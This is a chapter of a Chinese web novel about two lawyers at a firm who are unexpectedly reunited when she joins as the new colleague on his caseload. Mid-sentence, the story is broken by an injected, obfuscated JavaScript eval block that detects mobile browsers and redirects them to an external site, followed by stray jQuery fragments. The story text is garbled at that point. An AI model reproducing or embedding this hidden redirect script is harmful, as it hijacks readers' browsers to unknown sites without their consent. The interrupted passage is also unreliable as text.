31. 血观音「3」【栖城,2023】……

作品:《双诠法

    考虑了许久,江耀最终还是决定去找杜诚言一趟,尽管他心里清楚杜诚言也未必知道尤未的下落。


    她要是有心让他找不到她,绝对不会留下任何蛛丝马迹。


    但隔天一早,他凭着记忆找去杜诚言家里时,却跑空了,杜诚言并不在家。


    他有些后悔上次没和杜诚言互换联系方式了,只能用最原始的方式给杜诚言留了张字条,上面有他的电话号码,希望杜诚言有空的时候能告诉他一声,他有事要登门拜访。


    从杜诚言的家里出来,他就开车去了律所。昨天因为王永遒和王览月互掐,没人再记起要和他讨论工作安排的事。他担心之后他还要继续去找尤未,没办法全身心地投入宗玉澄的案子,所以想听听王览月是怎么打算的。


    刚在地下车库停好了车,伍铮梁语音电话就到:“耀儿,你去哪儿了?今儿个怎么不见你在所里?”


    江耀锁好车门,往电梯间走:“刚到车库,有事等我上楼再说。这里信号不好。”


    伍铮梁已经按捺不住了:“那你快点!等会儿新同事就到了!”


    “新同事?”江耀想了想,“就是昨天那个让Queena他们吵起来的?”


    “可不是嘛,幸亏没被你亲爱的师父否了流程。听说可是个双商在线的神童,15岁就跳级考进了牛津,神就神在她本科学的不是法学而是数学,后来自学去考的司考。”论吃瓜的全面性,刑事一部无人比得上伍铮梁,“我听咱人力讲,她好像以前也在念诚干过,不知道为什么后来走了,现在又回来了。”


    江耀心不在焉,抬手按了电梯楼层:“我进电梯了,等会儿见。”


    他没听清伍铮梁的回答,信号一下就没了。


    电梯只走了一层到G,就又停住了。


    律所一般不用坐班,大家的上班时间都没有硬性规定,甚至不去所里也行。


    不知今天是怎么回事,大家都凑这个时间点来上班。


    电梯门向两边打开,江耀满眼望见密集的人流向他挤过来,刹那抢占了电梯的空间,遮挡住了他大半的视线。


    与此同时,他斜前方的电梯也抵达了G层。


    只不过这部电梯却空得过分,只有刑事一部的行政秘书带着尤未来参观。


    两人等着电梯停稳,走出电梯。


    尤未随意瞥了一眼,望见斜前方的电梯挤满了人:“平常律所都有这么多人吗?”


    行政秘书笑着解释:“今天估计他们回来也不是为了工作,不是快到年底了吗?我们一向是每年这几天搞员工内购会的,大家都是来取货的。哦,对了,我等会儿把二维码发给你,你有什么喜欢的也可以线上订。”


    “好啊,谢谢。”


    两人边说,边向电梯间外走出去。


    尤未没走几步,总感觉心脏好像被什么牵扯住了,不由顿下脚步,回望了电梯间一眼。


    行政秘书好奇:“怎么了,尤律师?”


    尤未转回头,以为只是昨晚没休息好:“没事。”


    “带你下来就是为了给你参观一下这面初心墙,”行政秘书指了指从门口延伸到他们身旁的这面蓝色背景的墙,上面密密麻麻签满了金色的字,“新人入职我们都会带他们来这儿签句话,可以是在念诚的愿景,也可以是想实现的目标,但不能留下你的名字。老大的意思是,如果你哪天感觉迷茫了,就在这面墙上找一找,你第一天进念诚时写下了什么。勿忘初心,才能不迷失自己。”


    她将准备好的笔递给尤未:“你可以在这里慢慢想,我也可以先上楼,等你完成了再上来。”


    尤未却拒绝了她递过来的笔:“不用了,我早就已经写过了。”


    行政秘书讶异地看着尤未走到初心墙的正中央,很快便找到了她当年留下的那句话——“我希望在情与理之间,可以找到属于我的双全法。”


    她离开太久了,字迹有点变旧了。当年她留下这句话的时候,周围还空空荡荡的,现在已经挤满了其他人写的话。


    空间不足,有人被迫在空隙里艰难地留下他的字,甚至微微碰到她留下的字——“我想成为一个追求正义,也有能力守护正义的人。”


    字写得还挺俊的,也不知道这个留下这句话的人,如今做到了他曾立下的目标了吗?


    反正,她是没有。


    “尤律师以前就在念诚工作过吗?是什么时候?”


    行政秘书的话打断了尤未的思绪。


    她回神后告诉行政秘书:“那是……很久之前了。”


    “念诚这几年以来,变化还是挺大的。我再和你介绍一下吧。”行政秘书收好笔,准备带尤未重新回到办公室,“我们先上楼,我给你简单介绍一下,再带你去见Queena吧?”


    “好的,那就麻烦了。”


    ***


    江耀上了楼,先去了趟王览月的办公室。


    他敲了敲门,王览月简短有力道:“进。”


    王览月正在浏览什么材料,江耀的推门而入中断了她的阅读。


    她停止阅读,抬头对他说:“刚好我也想找你,昨天还没和你谈后面的工作计划。”


    她绝口不提昨天和王永遒拌嘴的事,江耀自然也装作遗忘了:“是的,我就是为了这个来找您的。”


    “玉澄手上的案子里,目前最急的是一起故意伤害案,是由虞梦阳女士的家属来委托的,她之前让玉澄解决过一些经济纠纷,对玉澄的印象不错,所以之前她被刑拘的时候,也让家属来找玉澄咨询过。”


    江耀有印象:“是今年夏天来咨询的那个淮城的故意伤害案吗?虞梦阳……我记得她好像是因为被丈夫家暴而反击,结果没想到一下用力过猛,导致她的丈夫伤重不治?当时宗律师好像还开过案情分析会,我去旁听过。”


    王览月肯定了江耀的记忆是正确无误的:“对,就是这件案子,玉澄带着欣然从侦查阶段就介入了,前期和检方、法官两边都沟通过,也有辩护思路了。今天刚收到法院通知,一审开庭时间在三天后。只不过现在这情况,她也不可能去上庭了,想来想去,还是你最合适,上次案情分析会你也在,情况你比较了解,我觉得难度应该不是很大?”


    通知三天后开庭,临时接手,难度不是很大……


    江耀心情复杂:“这个时间好像有点紧张了。”


    “欣然在和法院沟通,准备帮你申请延期开庭。不过听她刚才和他们沟通下来的意思,大概率只能给你十天。”


    “十天?”


    “十天对你是什么难题吗?”王览月仍然不觉得这是什么问题,“我已经让欣然在准备材料了,案卷、会见笔录、玉澄出过的法律意见书,有的材料都会给到你,你直接照着她的思路去打就可以了,这样可能省时间一点?”


    江耀也曾接过临时委托的案子。他不是没有这个应变能力,只是怕介入的太仓促,对案情和当事人的了解程度不够,错过一些能改变判决结果的辩护点和证据,让当事人错失轻判的机会。


    对一个刑事律师来说,本能让自己的当事人轻判


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14420053|151948||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    或无罪释放,却眼睁睁错过了,是最令人痛苦的。就像一个医生本能将自己的病人从生死线上抢救回来,但最后却只能眼睁睁看着病人死去。


    但眼下,也没有什么早点介入的余地了。


    他答应王览月:“好的,那我来吧。”


    正好想起母亲聂秀云刚好也在淮城的佛寺里禅修,或许开完庭,他也能去见许久未见的母亲一面。


    “昨天老大想把玉澄的案子都交给你,我觉得你的负担和工作量还是太大了。但现在其他人的工作量都是满的,也没有空再来帮你。欣然虽然也参与这个案子,但她毕竟经验不够。”王览月向他提出了建议,“今天将会新来一位同事,之后玉澄的案子交由你和她一起负责,你觉得可以吗?”


    江耀愣了愣,还是将犹豫良久的事说了出来:“Queena,我可能也没办法全权负责宗律师的所有案子了。我突然遇到了一点临时状况,有可能要请假一段时间。”


    王览月有点意外:“但我记得你上次说你是OK的?”


    江耀也不知道如何解释,有些难以启齿:“确实是临时遇到的意外状况……我可能结束这个案子之后我需要请一段时间的假……”


    她永远就是他的意外状况。


    王览月也不懂他反反复复的想法:“那就等结束这个案子再说吧。但我希望你还是能留下来,我们的新同事很久没做过案子了,我还是希望有人能带她一下。”


    “Queena,我现在要带踌躇和英姿两个人,我怕我精力不够。”江耀谨慎建议,“如果她还需要一段时间的磨合才能适应,我建议是不是还是让她先去参与一些简单的案子练练手?宗律师接的案子可能都不会太简单。至于这起案子,我觉得我和欣然两个人已经足够了。”


    他话音正落,办公室的门就被敲响。


    行政秘书的声音传来:“Queena,我带我们新同事一起来了。”


    王览月应道:“进来吧。”


    江耀虽然对新同事并不好奇,但仍下意识地侧过身去,迎接她的到来。


    来人的容貌随着门的移动,一点点浮现,又在他眼前逐渐定格、逐渐清晰,让他不可置信地扬起眉毛,几乎以为是他思念成疾才出现的幻象。


    而在开门望见江耀的瞬间,尤未全身的血液也瞬间凝固。


    她不动声色地攥紧了手,才没让她的情绪外露。


    “这位你应该认识了吧,江耀?”现在这间办公室也只有王览月能笑得出来了,她站起来为江耀介绍,“之前是叫尤总,现在该改口成尤律师了。”


    电光火石间,江耀的脑子里闪过许多碎片般的记忆,交织拼接成一副完整的拼图。


    缜密的逻辑推理,十分了解现场走访的注意事项,母亲是法律系副教授,早就跟王永遒认识……


    所有答案都有迹可循,但他竟然一点都没发现。


    他曾误以为她是个法律白痴,但现在看来,他才是一个大白痴。


    尤未还僵站在办公室门口,但江耀已反应过来,自然地向她伸出了手:“好久不见。”


    他将“好久不见”咬得很重,她当然能听出他被再度抛下的怨念:“宗律师手头的案子,Queena安排我和尤律师一起共同负责。看来我们又要一起共事了,尤律师。”


    尤未盯着他那张可恶的嘴,万分后悔当时动用了她的私人牙医来搭救他。


    她又想起身上尚未完全消退的印痕,才后知后觉明白他刚说的“共事”,其实还有另一层意思。